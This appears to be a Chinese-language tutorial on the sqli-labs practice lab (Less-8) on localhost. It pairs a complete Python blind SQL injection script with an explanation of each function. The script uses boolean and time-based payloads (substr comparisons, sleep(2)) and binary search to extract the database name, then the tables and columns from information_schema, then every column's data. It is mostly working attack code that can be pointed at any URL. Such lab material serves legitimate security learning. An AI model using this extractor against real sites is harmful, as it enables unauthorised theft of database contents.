import requests
import time
# 创建会话对象,用于保持与目标服务器的会话状态,便于多次请求
session = requests.session()
# 目标URL,是存在SQL注入漏洞的页面地址
url = "http://127.0.0.1/sqlilabs/Less-8/index.php"
# 通过布尔盲注获取当前使用的数据库名称
def getDatabase(url):
results = []
# 循环获取数据库名称的前7个字符
for i in range(1, 8):
# 二分查找ASCII码范围
low, high = 32, 127
while low <= high:
mid = (low + high) // 2
# 构造SQL注入参数,判断数据库名称第i个字符的ASCII码是否小于等于mid
payload = {'id': f"1' and ord(substr(database(),{i},1))<={mid}--"}
ret = session.get(url=url, params=payload)
if 'You are in' in ret.text:
high = mid - 1
if low == mid:
# 找到字符,添加到结果列表
results.append(chr(mid))
print(''.join(results))
break
else:
low = mid + 1
return ''.join(results)
# 通过时间盲注获取查询结果
def timeBasedBlindInjection(url, query):
result = ""
# 循环获取结果的前100个字符
for i in range(1, 100):
low, high = 32, 127
while low <= high:
mid = (low + high) // 2
# 构造时间盲注参数,若字符ASCII码小于等于mid则让服务器休眠2秒
payload = {'id': f"1' and if(ascii(substr(({query}),{i},1))<={mid},sleep(2),1)--"}
start = time.time()
ret = session.get(url=url, params=payload)
elapsed_time = time.time() - start
if elapsed_time >= 2:
high = mid - 1
if low == mid:
# 找到字符,添加到结果字符串
result += chr(mid)
print(result)
break
else:
low = mid + 1
return result
# 通过布尔盲注获取查询结果
def booleanBasedBlindInjection(url, query):
result = ""
# 循环获取结果的前100个字符
for i in range(1, 100):
low, high = 32, 127
while low <= high:
mid = (low + high) // 2
# 构造布尔盲注参数,判断结果第i个字符的ASCII码是否小于等于mid
payload = {'id': f"1' and ascii(substr(({query}),{i},1))<={mid}--"}
ret = session.get(url=url, params=payload)
if 'You are in' in ret.text:
high = mid - 1
if low == mid:
# 找到字符,添加到结果字符串
result += chr(mid)
print(result)
break
else:
low = mid + 1
return result
# 获取指定数据库中的所有表名
def getTable(url, database_name):
# 构造SQL查询语句,从系统表中获取表名
query = f"select group_concat(table_name) from information_schema.tables where table_schema = '{database_name}'"
return booleanBasedBlindInjection(url, query)
# 获取指定数据库和表中的所有列名
def getColumn(url, database_name, table_name):
# 构造SQL查询语句,从系统表中获取列名
query = f"select group_concat(column_name) from information_schema.columns where table_schema = '{database_name}' and table_name = '{table_name}'"
return booleanBasedBlindInjection(url, query)
# 获取指定数据库、表和列中的数据
def getResult(url, database_name, table_name, column_name):
# 构造SQL查询语句,获取表中指定列的数据
query = f"select group_concat({column_name}) from {database_name}.{table_name}"
return booleanBasedBlindInjection(url, query)
# 记录程序开始时间
start = time.time()
# 获取数据库名称
database_name = getDatabase(url)
print(f"Database Name: {database_name}")
# 获取数据库中的所有表名
tables = getTable(url, database_name)
print(f"Tables in {database_name}: {tables}")
if tables:
table_list = tables.split(',')
for table in table_list:
# 获取表中的所有列名
columns = getColumn(url, database_name, table)
print(f"Columns in {table}: {columns}")
if columns:
column_list = columns.split(',')
for column in column_list:
# 获取列中的数据
data = getResult(url, database_name, table, column)
print(f"Data in {table}.{column}: {data}")
# 打印程序运行总耗时
print(f'time spend: {time.time() - start}')
getDatabase
函数:
- 功能:获取数据库名称。
- 实现逻辑:
- 外层
for
循环遍历数据库名称的每个字符位置(假设数据库名称最多 7 个字符)。 - 初始化
low
和high
分别为 ASCII 码的下限 32 和上限 127。 - 内层
while
循环使用二分查找法,不断缩小字符 ASCII 码的范围。 - 构造 SQL 注入
payload
,通过ord(substr(database(),{i},1))<={mid}
判断数据库名称第i
个字符的 ASCII 码是否小于等于mid
。 - 发送 GET 请求,根据响应文本中是否包含
You are in
来调整low
和high
的值。如果包含,说明目标字符的 ASCII 码小于等于mid
,将high
设为mid - 1
;否则,将low
设为mid + 1
。 - 当
low
和mid
相等时,说明找到了正确的字符,将其添加到results
列表中,并打印当前已获取的数据库名称部分。 - 最后将
results
列表拼接成字符串返回。
- 外层
timeBasedBlindInjection
函数:
- 功能:基于时间盲注获取数据。
- 实现逻辑:
- 外层
for
循环遍历结果字符串的每个字符位置(假设结果最多 100 个字符)。 - 初始化
low
和high
为 ASCII 码范围。 - 内层
while
循环同样使用二分查找。 - 构造
payload
,通过if(ascii(substr(({query}),{i},1))<={mid},sleep(2),1)
判断,如果条件成立则执行sleep(2)
函数,使服务器响应延迟 2 秒。 - 记录请求开始时间
start
,发送 GET 请求后计算响应时间elapsed_time
。如果响应时间大于等于 2 秒,说明目标字符的 ASCII 码小于等于mid
,调整high
;否则调整low
。 - 找到正确字符后添加到
result
字符串并打印,最后返回完整的结果字符串。
- 外层
booleanBasedBlindInjection
函数:
- 功能:基于布尔盲注获取数据。
- 实现逻辑:与
getDatabase
函数类似,通过二分查找确定每个字符的 ASCII 码。构造payload
判断ascii(substr(({query}),{i},1))<={mid}
,根据响应文本中是否包含You are in
来调整low
和high
的值,最终获取结果字符串。
getTable
函数:
- 功能:获取指定数据库中的所有表名。
- 实现逻辑:构造 SQL 查询语句,从
information_schema.tables
系统表中查询指定数据库(database_name
)的所有表名,使用group_concat
函数将结果合并为一个字符串。然后调用booleanBasedBlindInjection
函数执行查询并返回结果。
getColumn
函数
- 功能:获取指定数据库和表中的所有列名。
- 实现逻辑:构造 SQL 查询语句,从
information_schema.columns
系统表中查询指定数据库(database_name
)和表(table_name
)的所有列名,同样使用group_concat
函数合并结果。调用booleanBasedBlindInjection
函数执行查询并返回结果。
getResult
函数:
- 功能:获取指定数据库、表和列中的数据。
- 实现逻辑:构造普通的
SELECT
查询语句,从指定数据库(database_name
)的指定表(table_name
)中查询指定列(column_name
)的数据,并使用group_concat
函数合并结果。调用booleanBasedBlindInjection
函数执行查询并返回结果。